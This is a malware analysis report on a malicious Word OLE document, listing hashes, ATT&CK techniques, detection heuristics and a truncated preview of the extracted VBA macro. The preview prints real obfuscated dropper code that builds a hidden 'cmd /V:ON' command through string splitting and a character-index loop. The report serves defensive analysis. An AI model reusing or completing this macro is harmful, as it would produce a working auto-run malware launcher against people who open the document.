Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 81c5ee9e73cec461…

MALICIOUS

Office (OLE)

180.1 KB First seen: 2019-04-18
MD5: 92a988b43ad9789e7a2ac354fc3d8dc2 SHA-1: dded7953639f9f36fd019bd303722d51d2afeb49 SHA-256: 81c5ee9e73cec4611119b231fa464ddf001879e79ac3d17d1b65e3c04a848321
162 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is an OLE document with a high slack anomaly and an appended payload, indicating malicious intent. A legacy WordBasic AutoOpen macro was detected, which is often used to download and execute further stages. The macro attempts to construct and execute a command, likely for payload delivery, though obfuscation limits full analysis.

Heuristics 6

  • OLE document has large unaccounted-for region high OLE_SLACK_ANOMALY
    OLE file is 184,448 bytes but its declared streams total only 4,096 bytes — 180,352 bytes (98%) live in unallocated sector slack. This is the canonical hiding place for pre-macro-era Office exploit payloads (XOR-encoded shellcode reached via a parser pointer-corruption bug in the document structure).
  • OLE file has appended executable-looking payload bytes high OLE_APPENDED_PAYLOAD
    OLE compound file contains a large high-entropy region beyond the declared major streams and that region includes shellcode, PE, or loader API markers. This is a payload-carrier signal, not a specific CVE attribution by itself.
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 25568 bytes
SHA-256: eda183afdbd955a203b367cb891b131ff75423fdb345e3e82c497bb59dda7301
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "VBLjslOO"
Function nwRzzPaXSHW()
On Error Resume Next
TypeName YhSHj
   TypeName pqhiv
fFwTuziijTR = "md " + " /" + "V:" + "ON " + " " + "/" + CStr(Chr(jVIrTrmLPSnuju + rJpLXbwKXSJuUv + 67 + prfPAqiSVOvz + cjCfLISlZHYzT)) + " " + " " + " " + " " + CStr(Chr(sqUHDFoPJuAi + JjzlfpdrpjCRD + 34 + qDXckcXasW + QtkKiwwQbbLnL)) + "  "
TypeName 86
   TypeName Sgn(lSTXi)
lzRPU = "se" + "t  " + "  " + " " + CStr(Chr(BkElBWr + dBlNlGEPtCMwE + 99 + VHCwOrjRjb + nkkQYatjcKiiV)) + "Y" + "=w" + "od" + "r" + "Q" + "wPo" + "oUu" + "OWE" + "n" + CStr(Chr(uIrCzLjQtUvEzu + lQPQfIl + 76 + KsvKYXbrvo + YYfHTrwdVumsF))
TypeName 7
   TypeName wvnFRi
   TypeName ISbaMz
fUMPKiGu = "nrT" + "aw" + "H" + "z" + "sVD" + "a" + "MO" + "T"
TypeName CByte(4211)
   TypeName Sqr(NnKLYw * jfaHz)
nWfTFTAIUk = "R" + "F" + "dY5" + "p'" + CStr(Chr(FGRlWEimS + VwUMEFb + 67 + skJLRpKCQ + EbKVliC)) + "jN" + "=)" + ":Ay"
TypeName nvMjKm
   TypeName Fix(9572)
   TypeName Log(KokCXI)
GXhKFzMv = "b" + "i@" + ",K" + "+B{" + "m" + "(" + "h" + "f" + CStr(Chr(ulMXNVzIJpjQ + VUzFUhtcWMjB + 99 + zaaCqiTGYlwv + saanOro)) + "t" + "9 " + "v"
TypeName CMqKvU
   TypeName onSYPF
   TypeName CInt(DCilXq)
cGinwXmE = "I2" + "x}" + "3" + "." + "\k"
TypeName Chr(76)
   TypeName CDate(684)
   TypeName cksVt
iFdLwTNbm = "-6" + "eg/" + "1;$" + "S" + CStr(Chr(YiErSPzqLbNJi + aLQPwLHYrrj + 108 + tmCwwmCUlmBr + mTcsKLwMCbZEdQ)) + "&& " + "  f" + "or"
nwRzzPaXSHW = fFwTuziijTR + lzRPU + fUMPKiGu + nWfTFTAIUk + GXhKFzMv + cGinwXmE + iFdLwTNbm
   TypeName Cos(zczEwY - zJENuF)
   TypeName JdzJQ
   TypeName Log(ozYQu * lFhuc)
End Function
Function mpImB()
On Error Resume Next
TypeName Rnd(WphUw)
   TypeName CInt(PWYCiA + fvdsu + 85855 * fvbDGi)
vlNFrwoNMz = "  %" + "P i" + "n (" + "  " + "3" + "5  " + "  " + ",8 " + " " + " " + " " + ",2"
TypeName CDate(WzzzY - RNtYN)
   TypeName CDbl(hNJQn)
   TypeName jcCth
UatbjuB = "0  " + "  " + "," + " " + "72" + " " + " ," + "  " + "17 " + "   " + "," + " 23" + " ,"
TypeName 399
   TypeName Fix(UJDIic / 88547 - szNwX * 9833)
VYpQWAvb = " " + "  " + " 5" + "5" + "  ," + " " + "72 " + "," + "  7" + "9  " + " ," + "79 "
TypeName 9
   TypeName bnwiF
   TypeName CBool(500)
GvQzmMHF = " , " + " " + "  " + "60" + "  " + " " + ", " + " 7" + "7 " + " " + "  ," + " " + "20"
TypeName 1
   TypeName Fix(SlFdi)
bVVitZQuPv = "," + "  " + "1" + "6" + "   "
TypeName 364574888
   TypeName CInt(2870 - 57652 * 55390 - BkRKu)
   TypeName pqqXzB
hCiSMRVBlo = " , " + " 49" + "," + " " + "4" + "0" + ","
TypeName 939
   TypeName Rnd(VCnrY / HtjOiD - PqjDi / mXiDRI)
buhtnfvj = "   " + " 1" + "6  " + ", " + " " + " " + "72 "
TypeName Sin(vZomtl)
   TypeName CStr(TohUaY - DzwAtf)
nHVLCYhskXS = " ," + " 2" + "0,7" + "0  " + " " + "," + "8" + "  " + ", " + "  " + " 45" + "   " + " ,"
TypeName DcEjds
   TypeName CInt(QViZi)
   TypeName CBool(58481 - pmwViJ * 63140 - EQaBi)
tkImqjHDPw = "38" + "  " + ",7" + "2 ," + "57" + "   " + " ,5" + "8  " + "  ," + "  " + " 6"
TypeName Chr(QpTnbz)
   TypeName cCYkl
IjOLkhm = "0" + "  " + " ," + "  " + "39 " + ",  " + " 72" + " "
TypeName wUiAz
   TypeName Chr(3760 / AEwwKH)
   TypeName CBool(wvqICc)
KzMHVuFIKDE = " " + " " + ", " + " " + "58" + ", " + "6" + "7  " + ", " + "1"
TypeName VmQFh
   TypeName sdjRvJ
   TypeName otKFPT
tGnojrXopC = "2" + " , " + "7" + "2" + ",4" + "5  " + ", " + " 37" + "   " + ", 7" + "9" + " "
TypeName Chr(6477)
   TypeName 8386
   TypeName CDate(33280 / auOvjo)
MiBrKno = ",  " + "46 " + ",  " + " " + "72 " + ", " + "  1" + "6  " + ",  "
mpImB = vlNFrwoNMz + UatbjuB + VYpQWAvb + GvQzmMHF + bVVitZQuPv + hCiSMRVBlo + buhtnfvj + nHVLCYhskXS + tkImqjHDPw + IjOLkhm + KzMHVuFIKDE + tGnojrXopC + MiBrKno
   TypeName Fix(82655 - 95879 * BdYHGS * 65004)
   TypeName CBool(574)
End Function
Function ndZlJKpLKRO()
On Error Resume Next
TypeName sRoYpf
   TypeName woVpJO
uwuNYVKJ = "  5" + "8," + " 7" + "6 " + "  " + ",  " + " 7" + "7" + " "
TypeName juQKXE
   TypeName 470
taILtGFo = ",6" + "2  " + ", " + " 27" + "  " + ",  " 
... (truncated)